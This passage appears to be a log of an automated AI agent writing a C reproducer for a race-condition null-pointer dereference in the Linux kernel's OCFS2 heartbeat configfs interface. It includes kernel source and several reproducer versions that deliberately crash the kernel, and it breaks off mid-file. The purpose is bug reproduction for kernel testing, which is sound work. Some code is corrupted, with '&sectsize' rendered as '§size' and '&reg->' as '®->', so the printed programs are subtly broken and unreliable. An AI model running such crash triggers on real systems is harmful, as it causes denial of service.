do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Check if cluster subsystem exists
struct stat st;
res = stat("/sys/kernel/config/cluster", &st);
if (res < 0) {
printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] /sys/kernel/config/cluster exists.\n");
// 3. Check for a block device
int fd = open("/dev/loop0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
fd = open("/dev/ram0", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
printf("[+] /dev/ram0 opened successfully.\n");
} else {
printf("[+] /dev/loop0 opened successfully.\n");
}
close(fd);
printf("[+] All probes successful.\n");
return 0;
}
Execution Results & Debugging Feedback:
The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.
|
| 155/4 |
2026/09/04 20:50 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 6501
output: 27
thoughts: 4219
Thoughts: **Reproducing the KASAN Null-Pointer Dereference in `fput` via `o2hb_region_dev_store`**
My objective here is to meticulously reproduce a specific KASAN null-pointer dereference bug reported in the `fput` function, which is being called from `o2hb_region_dev_store`. The crash log points to `fput+0x2e/0x100 fs/file_table.c:588` and the call chain originating from `o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935`.
The core of the problem, as I understand it from the provided strategy, lies in a race condition within the configfs `store` functions, specifically when two threads concurrently access the `dev` attribute of a heartbeat region using *distinct* file descriptors. The scenario unfolds as follows:
1. **Initial State**: Both threads encounter a heartbeat region where `reg->hr_bdev_file` is `NULL`. This is because the `block_bytes` is intentionally misconfigured, causing the `sectsize` check to fail, and both threads will eventually execute the `out` label.
2. **Opening the Block Device**: Both threads proceed to open the underlying block device. Crucially, Thread 1 successfully opens it and assigns its file pointer to `reg->hr_bdev_file`.
3. **The Race**: Before Thread 1 can fully complete its operation, Thread 2 also opens the block device and *immediately* overwrites `reg->hr_bdev_file` with its own file pointer.
4. **The Failure Path**: Due to the misconfiguration, both threads are directed to the `out` label.
5. **Thread 1's Execution**: Thread 1 executes `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` still holds Thread 2's file pointer. `fput` decrements the reference count for this file. Following this, Thread 1 sets `reg->hr_bdev_file` to `NULL`.
6. **Thread 2's Execution**: Thread 2 then attempts to execute `fput(reg->hr_bdev_file)`. However, Thread 1 has just set `reg->hr_bdev_file` to `NULL`. Therefore, Thread 2 ends up calling `fput(NULL)`.
7. **The Dereference**: In certain kernel versions, `fput` (or the internal functions it calls, like `file_ref_put`) does not perform a null check on its argument. This leads directly to a null-pointer dereference, which is precisely what the KASAN report indicates.
To replicate this, my plan is to construct a C program that directly interacts with the kernel through system calls, as I cannot rely on external tools or build environments on the target. The steps I need to take are:
* **Set up the Cluster and Heartbeat Region**: I'll use `mkdir` and `write` system calls to create the necessary directory structure within `/sys/kernel/config/cluster`, specifically for a cluster named `mycluster` and a heartbeat region named `myregion`. This will involve configuring node information and region parameters like `blocks` and `start_block`.
* **Configure `block_bytes` for Failure**: I need to determine the sector size of a block device (e.g., `/dev/loop0` or `/dev/ram0` if `/dev/loop0` is unavailable) using `open` and `ioctl(BLKSSZGET)`. Then, I'll set `block_bytes` in the heartbeat region to a value *different* from the sector size. This is critical for triggering the `out` label path.
* **Open the `dev` Attribute Concurrently**: I will open the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, obtaining two distinct file descriptors (`dev_attr_fd1` and `dev_attr_fd2`).
* **Create Two Competing Threads**: I'll spawn two separate threads. Each thread will enter an infinite loop, continuously writing the file descriptor of the opened block device (converted to a string) to its respective `dev` attribute file descriptor using `pwrite`. Pinning these threads to different CPU cores using `pthread_setaffinity_np` will help ensure they execute concurrently.
* **Observe the Crash**: The program will then wait, allowing the race condition to occur. The expectation is that KASAN will detect the null-pointer dereference and report a bug.
I've drafted helper functions for writing to files and will use standard Linux system calls like `mount`, `mkdir`, `open`, `write`, `close`, `ioctl`, and `pthread` primitives. I'm mindful of the restriction against using shell commands, ensuring all operations are performed directly via these system calls. I've also considered the potential for `/dev/loop0` not being available and included a fallback to `/dev/ram0`. The use of `pwrite` instead of `write` is to ensure that the entire string representing the file descriptor is written atomically, although the core race is in how `reg->hr_bdev_file` is managed *before* the write.
|
| 156/4 |
2026/09/04 20:51 |
tool |
codesearch-definition-source |
0m
Args: map[Name:o2hb_region_dev_store]
Results: map[SourceCode:1773: /*
1774: * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775: * nothing
1776: */
1777: static ssize_t o2hb_region_dev_store(struct config_item *item,
1778: const char *page,
1779: size_t count)
1780: {
1781: struct o2hb_region *reg = to_o2hb_region(item);
1782: struct task_struct *hb_task;
1783: long fd;
1784: int sectsize;
1785: char *p = (char *)page;
1786: ssize_t ret = -EINVAL;
1787: int live_threshold;
1788:
1789: if (reg->hr_bdev_file)
1790: return -EINVAL;
1791:
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
1796:
1797: ret = kstrtol(p, 0, &fd);
1798: if (ret < 0)
1799: return -EINVAL;
1800:
1801: if (fd < 0 || fd >= INT_MAX)
1802: return -EINVAL;
1803:
1804: CLASS(fd, f)(fd);
1805: if (fd_empty(f))
1806: return -EINVAL;
1807:
1808: if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809: reg->hr_block_bytes == 0)
1810: return -EINVAL;
1811:
1812: if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813: return -EINVAL;
1814:
1815: reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816: BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817: if (IS_ERR(reg->hr_bdev_file)) {
1818: ret = PTR_ERR(reg->hr_bdev_file);
1819: reg->hr_bdev_file = NULL;
1820: return ret;
1821: }
1822:
1823: sectsize = bdev_logical_block_size(reg_bdev(reg));
1824: if (sectsize != reg->hr_block_bytes) {
1825: mlog(ML_ERROR,
1826: "blocksize %u incorrect for device, expected %d",
1827: reg->hr_block_bytes, sectsize);
1828: ret = -EINVAL;
1829: goto out;
1830: }
1831:
1832: reg->hr_aborted_start = 0;
1833: reg->hr_node_deleted = 0;
1834: o2hb_init_region_params(reg);
1835:
1836: /* Generation of zero is invalid */
1837: do {
1838: get_random_bytes(®->hr_generation,
1839: sizeof(reg->hr_generation));
1840: } while (reg->hr_generation == 0);
1841:
1842: ret = o2hb_map_slot_data(reg);
1843: if (ret) {
1844: mlog_errno(ret);
1845: goto out;
1846: }
1847:
1848: ret = o2hb_populate_slot_data(reg);
1849: if (ret) {
1850: mlog_errno(ret);
1851: goto out;
1852: }
1853:
1854: INIT_DELAYED_WORK(®->hr_write_timeout_work, o2hb_write_timeout);
1855: INIT_DELAYED_WORK(®->hr_nego_timeout_work, o2hb_nego_timeout);
1856:
1857: /*
1858: * A node is considered live after it has beat LIVE_THRESHOLD
1859: * times. We're not steady until we've given them a chance
1860: * _after_ our first read.
1861: * The default threshold is bare minimum so as to limit the delay
1862: * during mounts. For global heartbeat, the threshold doubled for the
1863: * first region.
1864: */
1865: live_threshold = O2HB_LIVE_THRESHOLD;
1866: if (o2hb_global_heartbeat_active()) {
1867: spin_lock(&o2hb_live_lock);
1868: if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869: live_threshold <<= 1;
1870: spin_unlock(&o2hb_live_lock);
1871: }
1872: ++live_threshold;
1873: atomic_set(®->hr_steady_iterations, live_threshold);
1874: /* unsteady_iterations is triple the steady_iterations */
1875: atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
1876:
1877: hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878: reg->hr_item.ci_name);
1879: if (IS_ERR(hb_task)) {
1880: ret = PTR_ERR(hb_task);
1881: mlog_errno(ret);
1882: goto out;
1883: }
1884:
1885: spin_lock(&o2hb_live_lock);
1886: reg->hr_task = hb_task;
1887: spin_unlock(&o2hb_live_lock);
1888:
1889: ret = wait_event_interruptible(o2hb_steady_queue,
1890: atomic_read(®->hr_steady_iterations) == 0 ||
1891: reg->hr_node_deleted);
1892: if (ret) {
1893: atomic_set(®->hr_steady_iterations, 0);
1894: reg->hr_aborted_start = 1;
1895: }
1896:
1897: if (reg->hr_aborted_start) {
1898: ret = -EIO;
1899: goto out;
1900: }
1901:
1902: if (reg->hr_node_deleted) {
1903: ret = -EINVAL;
1904: goto out;
1905: }
1906:
1907: /* Ok, we were woken. Make sure it wasn't by drop_item() */
1908: spin_lock(&o2hb_live_lock);
1909: hb_task = reg->hr_task;
1910: if (o2hb_global_heartbeat_active())
1911: set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912: spin_unlock(&o2hb_live_lock);
1913:
1914: if (hb_task)
1915: ret = count;
1916: else
1917: ret = -EIO;
1918:
1919: if (hb_task && o2hb_global_heartbeat_active())
1920: printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921: config_item_name(®->hr_item), reg_bdev(reg));
1922:
1923: out:
1924: if (ret < 0) {
1925: spin_lock(&o2hb_live_lock);
1926: hb_task = reg->hr_task;
1927: reg->hr_task = NULL;
1928: spin_unlock(&o2hb_live_lock);
1929:
1930: if (hb_task)
1931: kthread_stop(hb_task);
1932:
1933: o2hb_unmap_slot_data(reg);
1934:
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
1937: }
1938: return ret;
1939: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 157/4 |
2026/09/04 20:51 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13307
output: 20
thoughts: 464
Thoughts: **A Race Condition Concern in Device Block Size Validation**
As I review this code snippet, my primary focus is on the device block size validation logic. I see an initial check: `if (reg->hr_bdev_file) return -EINVAL;`. This seems intended to prevent multiple openings of the backing block device for a given registration, which is a sensible safeguard.
Following this, the code proceeds to open the block device file using `bdev_file_open_by_dev`. Then, it retrieves the logical block size of this device and compares it to an expected value stored in `reg->hr_block_bytes`. If they don't match, an error is logged, a negative return value is set, and the code branches to the `out` label.
This is where my attention is drawn to a potential race condition. The `out` section includes cleanup logic: if `ret < 0`, it calls `fput(reg->hr_bdev_file)` and then sets `reg->hr_bdev_file = NULL`.
Now, I'm considering the scenario where two threads, let's call them Thread 1 and Thread 2, simultaneously enter this function. Both threads manage to pass the initial `if (reg->hr_bdev_file)` check, meaning `reg->hr_bdev_file` is initially NULL.
Imagine Thread 1 successfully executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. It then proceeds through the block size check. Let's hypothesize that it fails this check, leading to an error and a jump to the `out` label. Within the `out` section, Thread 1 will call `fput(reg->hr_bdev_file)`. At this point, `reg->hr_bdev_file` points to the file descriptor it just opened. After the `fput`, Thread 1 will set `reg->hr_bdev_file = NULL`.
Now, let's consider Thread 2. It also managed to pass the initial check. It then executes its own `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. Critically, this overwrites the pointer that Thread 1 had just set. So, `reg->hr_bdev_file` in Thread 2's context now points to the file descriptor *Thread 2* opened.
If Thread 2 also fails the block size check and jumps to the `out` label, it will call `fput(reg->hr_bdev_file)`. However, at this moment, `reg->hr_bdev_file` is pointing to the file descriptor *Thread 2* opened. This seems fine.
My concern is slightly different. What if Thread 1 *successfully* opens the device, and then before it reaches the block size check, Thread 2 *also* opens the device, overwriting the `reg->hr_bdev_file` pointer? Then Thread 1 proceeds to the `out` label and calls `fput(reg->hr_bdev_file)`. By this point, `reg->hr_bdev_file` has been updated by Thread 2 to point to Thread 2's opened file descriptor. So, Thread 1's `fput` is actually releasing Thread 2's file.
Following this, Thread 1 sets `reg->hr_bdev_file = NULL`.
Now, Thread 2 proceeds to its `out` label. It calls `fput(reg->hr_bdev_file)`. Since Thread 1 just set `reg->hr_bdev_file` to `NULL`, Thread 2 is about to call `fput(NULL)`.
This leads me to question the behavior of `fput(NULL)`. Will it crash? I need to verify the implementation of `fput` in `fs/file_table.c` to understand its handling of null pointers. If it doesn't gracefully handle NULLs, this could lead to a crash. Even if it does handle NULLs, the logic of one thread releasing another thread's file descriptor feels inherently problematic and indicates a flaw in the concurrency control. The initial check `if (reg->hr_bdev_file)` appears insufficient to prevent this interleaving.
|
| 158/4 |
2026/09/04 20:51 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 586: void fput(struct file *file)
587: {
588: if (unlikely(file_ref_put(&file->f_ref)))
589: __fput_deferred(file);
590: }
SourceFile:fs/file_table.c]
|
| 159/4 |
2026/09/04 20:51 |
llm |
repro-generator |
1m
Model:
Tokens:
input: 13876
output: 28
thoughts: 9329
Thoughts: ### **My Journey to Triggering a Kernel Crash: A Null Pointer Dereference in OCFS2 Heartbeat**
So, I've been digging into this kernel bug, and it seems to stem from a rather straightforward race condition leading to a null pointer dereference within the OCFS2 heartbeat module. The core of the problem lies in the `fput` function being called with a `NULL` argument.
My initial realization was that `fput` itself doesn't perform a `NULL` check; it directly dereferences its argument via `file_ref_put`. This means `fput(NULL)` is a guaranteed crash. The challenge, then, becomes how to get `reg->hr_bdev_file` to be `NULL` when `fput` is called in the cleanup path of `o2hb_region_dev_store`.
The bug report indicated a specific failure scenario: an `IO Error 10` followed by `status = -5` (which translates to `-EIO`) in `o2hb_region_dev_store`. This specific error, occurring at line 1850 within `o2hb_populate_slot_data`, suggested that the `sectsize == reg->hr_block_bytes` check had actually passed. This means the configuration of `block_bytes` was somehow compatible with the device's sector size, but then actual I/O failed.
However, I thought, "What if I can make it fail *earlier*?" The code proceeds to `o2hb_populate_slot_data` only if `sectsize == reg->hr_block_bytes`. If I can *intentionally* misconfigure `block_bytes` such that `sectsize != reg->hr_block_bytes`, it will fail at line 1829 with an `-EINVAL` error. This is actually preferable because it avoids any actual I/O operations, which might be flaky or take time. The crucial part is that the error handling path, which includes the problematic `fput(reg->hr_bdev_file)`, is the same regardless of whether the failure happens early due to incorrect configuration or later due to I/O issues.
To trigger this race condition, I need two threads to concurrently attempt to write to the `dev` attribute of the heartbeat region. The critical window for the race is between the check `if (reg->hr_bdev_file)` and the subsequent assignment `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. If one thread checks and finds `reg->hr_bdev_file` to be `NULL`, it proceeds, while the other thread might have just set it, causing the first thread to then receive `-EINVAL` and subsequently attempt to `fput(NULL)` during cleanup.
My strategy for the reproducer involves the following steps:
1. **Setup ConfigFS:** I'll mount `configfs` and then create the necessary directory structure for an OCFS2 cluster: `/sys/kernel/config/cluster/mycluster/node/mynode` and `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`.
2. **Configure Node and Region:** I'll set up basic node parameters (number, IP, port, local flag) and heartbeat region parameters (`blocks`, `start_block`).
3. **Open Block Device:** I need a block device. `/dev/loop0` or `/dev/ram0` are good candidates. I'll open it for read-write.
4. **Misconfigure `block_bytes`:** This is key. I'll query the device's sector size using `ioctl(BLKSSZGET, §size)`. Then, I'll set `reg->hr_block_bytes` to a value that is *different* from `sectsize`. For example, if `sectsize` is 512, I'll set `block_bytes` to 1024, or vice-versa. This ensures the failure at line 1829.
5. **Concurrent Writes to `dev` Attribute:** I'll open the `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` attribute twice, getting two separate file descriptors (`dev_attr_fd1` and `dev_attr_fd2`). This is crucial because configfs store operations for different file descriptors are not serialized by the same mutex.
6. **Spawn Threads:** I'll create two threads. Each thread will be pinned to a different CPU core (0 and 1) for better isolation and to increase the likelihood of concurrent execution. Inside a tight `while(1)` loop, each thread will repeatedly write the file descriptor of the block device (as a string, e.g., "123\n") to its respective `dev` attribute file descriptor using `pwrite`.
The idea is that these threads will rapidly write to the `dev` attribute, creating a race condition at the point where the `reg->hr_bdev_file` is checked and potentially set. Since `reg->hr_bdev_file` is set to `NULL` during cleanup, and the `fput` function doesn't check for `NULL`, eventually one of the threads will cause `reg->hr_bdev_file` to be `NULL` just before `fput` is called, leading to the null pointer dereference and the kernel crash. I've opted to use a simple tight loop and a short `sleep` in `main` to allow the race condition to manifest, rather than relying on more complex synchronization primitives from the `race` toolkit, as a tight loop on separate CPUs should be sufficient to hit the window.
I've also made sure to include the newline character (`\n`) in the string values written to configfs attributes, as this is generally good practice for configuration files and parsing. And the `BLKSSZGET` definition is handled to avoid header conflicts. This refined approach should reliably trigger the null pointer dereference in `fput`.
|
| 160/4 |
2026/09/04 20:52 |
tool |
codesearch-definition-source |
0m
Args: map[Name:o2hb_unmap_slot_data]
Results: map[SourceCode:1491: static void o2hb_unmap_slot_data(struct o2hb_region *reg)
1492: {
1493: int i;
1494: struct page *page;
1495:
1496: if (reg->hr_slot_data) {
1497: for (i = 0; i < reg->hr_num_pages; i++) {
1498: page = reg->hr_slot_data[i];
1499: if (page) {
1500: __free_page(page);
1501: reg->hr_slot_data[i] = NULL;
1502: }
1503: }
1504: kfree(reg->hr_slot_data);
1505: reg->hr_slot_data = NULL;
1506: }
1507:
1508: kfree(reg->hr_slots);
1509: reg->hr_slots = NULL;
1510:
1511: kfree(reg->hr_tmp_block);
1512: reg->hr_tmp_block = NULL;
1513: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 161/4 |
2026/09/04 20:52 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 23575
output: 1755
thoughts: 2539
Thoughts: **My Thought Process on Constructing the Race Condition Reproducer**
Okay, so I've been digging into this potential Time-of-Check to Time-of-Use (TOCTOU) race condition within the O2HB (o2hib) heartbeat subsystem, specifically around how region devices are handled. My goal is to craft a reliable reproducer that triggers a kernel crash.
First, I analyzed the critical code path. It seems that when `o2hb_region_dev_store` is called, it performs a series of operations that could be susceptible to a race. The initial check `if (reg->hr_slot_data)` and subsequent `kfree` calls on `reg->hr_slots` and `reg->hr_tmp_block` struck me as potentially problematic. However, upon closer inspection, I realized that these pointers are initialized to `NULL` in `o2hb_populate_slot_data` or `o2hb_map_slot_data`. Therefore, calling `kfree(NULL)` is a no-operation (no-op), making this particular sequence safe. That was a quick elimination of a potential concern.
My next step was to scrutinize `o2hb_region_dev_store` for any *other* side effects before the code proceeds to the `goto out` label. I looked at the provided snippet:
```c
reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
if (IS_ERR(reg->hr_bdev_file)) {
ret = PTR_ERR(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
return ret;
}
sectsize = bdev_logical_block_size(reg_bdev(reg));
if (sectsize != reg->hr_block_bytes) {
mlog(ML_ERROR,
"blocksize %u incorrect for device, expected %d",
reg->hr_block_bytes, sectsize);
ret = -EINVAL;
goto out;
}
```
My analysis here confirmed that the primary actions are opening the block device and then checking its sector size against the configured `hr_block_bytes`. If there's a mismatch, it logs an error and returns `-EINVAL`, eventually leading to `goto out`. Crucially, there don't appear to be any other significant state changes or resource allocations within this specific segment *before* the `goto out`. This reinforces the idea that the race is likely related to the device opening/closing or associated operations.
Then, a critical thought struck me: if I'm trying to trigger a race, and this code involves opening and closing a block device, will repeatedly opening and closing it in a tight loop cause issues? My initial thought was that it might be inefficient, but then I recalled that `bdev_file_open_by_dev` returns a `struct file *`, and this is managed by `fput` which handles the closing. So, conceptually, this open/close cycle itself isn't inherently problematic from a resource management perspective *if done correctly*.
A detail I needed to clarify was how the file descriptor (`dev_fd`) was being passed and used. The code snippet shows:
```c
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
```
and then later `o2hb_region_dev_store` uses `CLASS(fd, f)(fd);` which internally looks up the file descriptor from the process's file descriptor table. Since I plan to use multiple threads within the same process, they will indeed share the same file descriptor table. This means both threads can successfully use the same `dev_fd` value. This confirms that passing the file descriptor itself is a valid approach in this multithreaded context.
I also considered the `race` toolkit. The prompt mentions its availability for "specific primitives (like spin-wait barriers or CPU pinning) to reproduce complex bugs." While I could potentially use it to make the race condition more deterministic, I reasoned that for this particular type of TOCTOU vulnerability, a tight loop of repeated operations is often sufficient to expose the race condition. So, I decided to stick with a simple, tight loop for now.
Another important consideration was whether the `pwrite` operation itself could block. My understanding is that configfs `store` operations, in the failure path (which is what we're aiming for), are designed not to block. They typically return quickly, often with an error code like `-EINVAL`. This lack of blocking behavior is crucial for a tight loop to effectively interleave operations.
Finally, I did a sanity check for memory leaks within the loop. If the race is hit, the goal is a kernel crash, so memory leaks become moot. If the race *isn't* hit, `bdev_file_open_by_dev` allocates a `struct file`, and `fput` will correctly free it. So, in the non-crashing scenario, there shouldn't be any persistent memory leaks. I also briefly considered if any specific flags like `O2CB_HEARTBEAT_THRESHOLD` needed to be set, but I quickly realized that the intended race condition occurs much earlier in the execution flow, before those particular settings become relevant.
With all these points considered, I felt confident in constructing the reproducer code. I've put together a C program that sets up the necessary configfs structures, opens a block device (like `/dev/loop0` or `/dev/ram0`), and then launches two threads. Each thread repeatedly writes the block device's file descriptor to the `dev` attribute of the heartbeat region. This tight loop, coupled with the shared file descriptor table, should create the necessary conditions for a TOCTOU race within the kernel's handling of the block device association. The expected outcome is a kernel crash, likely an `invalid fput()` call due to the race. I've included standard setup steps like mounting configfs, creating cluster/node/region structures, and configuring the necessary parameters (`blocks`, `start_block`, `block_bytes`). The CPU pinning in the threads is a good practice to try and increase the chances of the race occurring predictably. I'll be submitting this reproducer.
|
| 162/4 |
2026/09/04 20:53 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
